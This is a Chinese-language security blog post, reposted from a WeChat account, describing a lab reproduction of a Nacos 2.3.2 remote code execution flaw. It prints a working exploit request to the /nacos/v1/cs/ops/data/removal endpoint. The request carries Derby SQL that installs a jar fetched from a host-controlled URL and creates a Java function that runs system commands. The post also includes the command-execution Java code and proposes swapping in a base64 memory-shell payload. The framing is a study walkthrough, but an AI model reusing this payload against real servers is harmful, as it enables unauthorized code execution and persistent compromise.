nacos的1day保姆级漏洞复现

admin 2024年7月16日22:37:18评论42 views字数 2880阅读9分36秒阅读模式

声明:由于传播、利用本公众号湘安无事所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。如有侵权烦请告知,我们会立即删除并致歉。谢谢!本文来自内部学员的分享报告。

文章内容

1.昨天不是爆了nacos的rce,然后当天晚上带着学员一起再哪里研究复现,先把poc下载下来

https://github.com/alibaba/nacos/releases/tag/2.3.2

2.然后搭建nacos的2.3.2的靶场,github的上面有,后台回复nacos也可以

https://github.com/alibaba/nacos/releases/tag/2.3.2

nacos的1day保姆级漏洞复现

3.然后直接搭建nacos的环境,这里就很有意思了,我们先执行搭建命令

startup.cmd -m standalone

4.你猜怎么的,我直接就成功了,但是学员没有一个人成功。笑死了果然每个人的电脑体质不一样,成功就直接访问出现的url路径就行

nacos的1day保姆级漏洞复现

5.学员不成功了那只能拷打我了,当天一起复现这个漏洞到晚上11.00多差不多3个小时真的裂开,不过还是学到一些东西的。

nacos的1day保姆级漏洞复现

6.最后解决办法就是,拉个干净的虚拟机就可以直接搭建了,然后就搭建成功了。

nacos的1day保姆级漏洞复现

7.然后开始跟着学员一起研究为什么会rce,不急,我们先复现一下漏洞。然后把poc里面的config.py改成本机的局域网ip和没有被占用的端口,这里是为了起个web服务让nacos去请求这个web服务里面的内容

nacos的1day保姆级漏洞复现

8.然后直接运行命令python .service.py 启动web服务,记住安装flask和requests的py模块

nacos的1day保姆级漏洞复现

9.启动成功后,再运行一下python exploit.py就可以弹calc了

nacos的1day保姆级漏洞复现

10.然后你会发现再弹calc计算器的时候,会去请求service.py起的web服务./download

nacos的1day保姆级漏洞复现

11.然后我们去看一下这个service.py的内容,这里面写了个file.bin

nacos的1day保姆级漏洞复现

12.看不懂是把,没有关系,我们先看exploit.py干了啥,exploit.py里面加个代理,然后查看数据包如下:

POST /nacos/v1/cs/ops/data/removal HTTP/1.1Host: hostUser-Agent: python-requests/2.28.2Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 488Content-Type: multipart/form-data; boundary=111111111111111111111111--11111111111111111111111111111Content-Disposition: form-data; name="file"; filename="file"CALL sqlj.install_jar('http://192.168.197.56:8000/download', 'NACOS.aKjwPoiU', 0)        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.aKjwPoiU')        CREATE FUNCTION S_EXAMPLE_aKjwPoiU( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'--111111111111111111111111111111--

显而易见了漏洞原理应该是sql导致的,去请求/download的内容,然后安装并执行恶意的jar文件,可以直接访问http://192.168.197.56:8000/download然后直接保存为1.jar,反编译打开就可以看到内容了

nacos的1day保姆级漏洞复现

看不懂没关系,我们直接扣下来再idea运行就行,发现直接弹calc的,所以就是加载了执行命令的jar.具体细节没研究了,但是能挖出这种漏洞的大佬肯定是对数据库和nacos的特性很了解才能挖出来的,只能说nb

nacos的1day保姆级漏洞复现

public class Example {    public static void main(String[] args) {        String ret = exec("ipconfig");        System.out.println(ret);    }    public static String exec(String cmd) {        StringBuffer bf = new StringBuffer();        try {            String charset = "utf-8";            String osName = System.getProperty("os.name");            if (osName != null && osName.startsWith("Windows")) {                charset = "gbk";            }            Process p = Runtime.getRuntime().exec(cmd);            InputStream fis = p.getInputStream();            InputStreamReader isr = new InputStreamReader(fis, charset);            BufferedReader br = new BufferedReader(isr);            while (true) {                String line = br.readLine();                if (line == null) {                    return bf.toString();                }                bf.append(line);            }        } catch (Exception e) {            StringWriter writer = new StringWriter();            PrintWriter printer = new PrintWriter(writer);            e.printStackTrace(printer);            try {                writer.close();                printer.close();            } catch (IOException e2) {            }            return "ERROR:" + writer.toString();        }    }}

13.所以要打入内存马,肯定是要生成一个jar,然后转换成base64的bin,填入service.py里面的payload值就行,那天就是这样子给学员和成员讲的,好了下机,不会复现联系带头大哥。

nacos的1day保姆级漏洞复现

正文结束

本文由带头大哥投稿而成

湘安无事团队介绍

我们湘安无事团队长期专注于教育漏洞平台,积累了丰富的经验和深厚的专业知识。目前取得的成绩有edu-src平台团队第二名,漏洞盒子团队排行榜第二名,带领很多同学和学员挖到了证书或者赏金漏洞,后面会收集并上传到纷传,也欢迎各位同学加入edu团队与深情的带头大哥或者成员交流。

nacos的1day保姆级漏洞复现

nacos的1day保姆级漏洞复现

纷传地址:已加过星球的联系深情的带头大哥

nacos的1day保姆级漏洞复现

技术交流群

微信群请加下放wx

nacos的1day保姆级漏洞复现
nacos的1day保姆级漏洞复现
nacos的1day保姆级漏洞复现

原文始发于微信公众号(WK安全):nacos的1day保姆级漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月16日22:37:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nacos的1day保姆级漏洞复现https://cn-sec.com/archives/2962738.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息